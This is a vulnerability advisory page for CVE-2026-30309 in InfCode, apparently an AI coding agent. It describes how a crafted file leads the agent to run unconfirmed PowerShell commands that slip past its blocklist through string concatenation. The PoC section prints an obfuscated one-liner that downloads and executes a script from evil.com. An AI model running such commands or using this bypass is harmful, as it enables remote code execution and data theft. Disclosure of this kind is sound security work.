Security Vulnerability Report
中文
CVE-2026-30309 CVSS 7.8 HIGH

CVE-2026-30309

Published: 2026-03-31 15:16:13
Last Modified: 2026-04-14 15:49:43

Description

InfCode's terminal auto-execution module contains a critical command filtering vulnerability that renders its blacklist security mechanism completely ineffective. The predefined blocklist fails to cover native high-risk commands in Windows PowerShell (such as powershell), and the matching algorithm lacks dynamic semantic parsing unable to recognize string concatenation, variable assignment, or double-quote interpolation in Shell syntax. Malicious commands can bypass interception through simple syntax obfuscation. An attacker can construct a file containing malicious instructions for remote code injection. When a user imports and views such a file in the IDE, the Agent executes dangerous PowerShell commands outside the blacklist without user confirmation, resulting in arbitrary command execution or sensitive data leakage.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:tokfinity:infcode:*:*:*:*:*:*:*:* - VULNERABLE
InfCode (具体版本未披露)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC: PowerShell command obfuscation via string concatenation # This bypasses static blacklists that block the word 'powershell' $ MaliciousCommand = 'p' + 'owe' + 'rshell' $ Payload = "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/shell.ps1')" # Execute the obfuscated command Invoke-Expression "$MaliciousCommand -NoProfile -ExecutionPolicy Bypass -Command $Payload"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30309", "sourceIdentifier": "[email protected]", "published": "2026-03-31T15:16:12.863", "lastModified": "2026-04-14T15:49:43.420", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "InfCode's terminal auto-execution module contains a critical command filtering vulnerability that renders its blacklist security mechanism completely ineffective. The predefined blocklist fails to cover native high-risk commands in Windows PowerShell (such as powershell), and the matching algorithm lacks dynamic semantic parsing unable to recognize string concatenation, variable assignment, or double-quote interpolation in Shell syntax. Malicious commands can bypass interception through simple syntax obfuscation. An attacker can construct a file containing malicious instructions for remote code injection. When a user imports and views such a file in the IDE, the Agent executes dangerous PowerShell commands outside the blacklist without user confirmation, resulting in arbitrary command execution or sensitive data leakage."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tokfinity:infcode:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.3.1", "matchCriteriaId": "E3D12CD1-2D4A-40B2-B18B-A5CCB61891E4"}]}]}], "references": [{"url": "https://github.com/Secsys-FDU/LLM-Tool-Calling-CVEs/issues/11", "source": "[email protected]", "tags": ["Third Party Advisory", "Issue Tracking"]}, {"url": "https://www.tokfinity.com/infcode", "source": "[email protected]", "tags": ["Product"]}]}}